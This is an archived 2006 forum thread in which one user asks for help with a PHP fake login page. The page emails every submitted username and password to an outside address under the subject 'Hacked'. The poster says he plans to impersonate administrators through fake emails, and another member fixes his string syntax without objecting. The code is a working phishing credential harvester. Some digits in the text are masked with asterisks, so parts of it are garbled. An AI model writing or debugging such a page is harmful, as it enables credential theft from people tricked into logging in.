PDA

View Full Version : whats wrong with the code



geoleeman
08-08-2006, 06:28 PM
html>
<head>
<title>log in</title>
</head>
<body>
<?php

$user = $_POST["username"];
$password = $_POST["password"];

if ($user != "" && $password != "")
{
$message = "Username: $user\nPassword: $password\n";

mail("your@email.com", "Hacked: $user", wordwrap($message, 70));
}
?>
<h*>log in</h*><br>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<br>
<input type="submit">
<br>
</form>
</body>
</html>


what is wrong with it

geoleeman
08-08-2006, 07:07 PM
<html>
<head>
<title>log in</title>
</head>
<body>
<?php

$user = $_POST["username"];
$password = $_POST["password"];

if ($user != "" && $password != "")
{
$message = "Username: . $user . "\nPassword: " . $password . "\n";

mail("your@email.com", "Hacked: $user", wordwrap($message, 70));
}
?>
<h*>log in</h*><br>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<br>
<input type="submit">
<br>
</form>
</body>
</html>

the html tag was a copy and paste error

notice anything else guys?

geoleeman
08-08-2006, 09:05 PM
this stuff just dosent wana work for me

i read how to send fake emails so i thought if i could make a login i could pretend to be administration im trying to send it over hotmail

Ezekiel
08-09-2006, 04:37 AM
Well, the only thing I paid attention to was this:


$message = "Username: $user\nPassword: $password\n";

Which should really be


$message = "Username: " . $user . "\nPassword: " . $password . "\n";

Oh, that and the fact that the <HTML> tag is fucked up if that's not just a copy and paste error.

PHP variables can be placed inside strings and still have the same effect as being concatenated with '.'. For example, this:


<?php
$var* = "testing";
$var2 = "testing2";
print("Variable * is $var*, and variable 2 is $var2.\r\n");
?>

And this:



<?php
$var* = "testing";
$var2 = "testing2";
print("Variable * is " . $var* . ", and variable 2 is " . $var2 . ".\r\n");
?>

Both give the same output. Read this for more information:

http://php.net/manual/en/language.variables.php

geoleeman
08-09-2006, 10:17 AM
nope no server :confused:

beiding *p : *27.0.0.*, **2.*68.*.5

listening port 25

not sure how it all connects

sorry for being a noob any * got any more help for me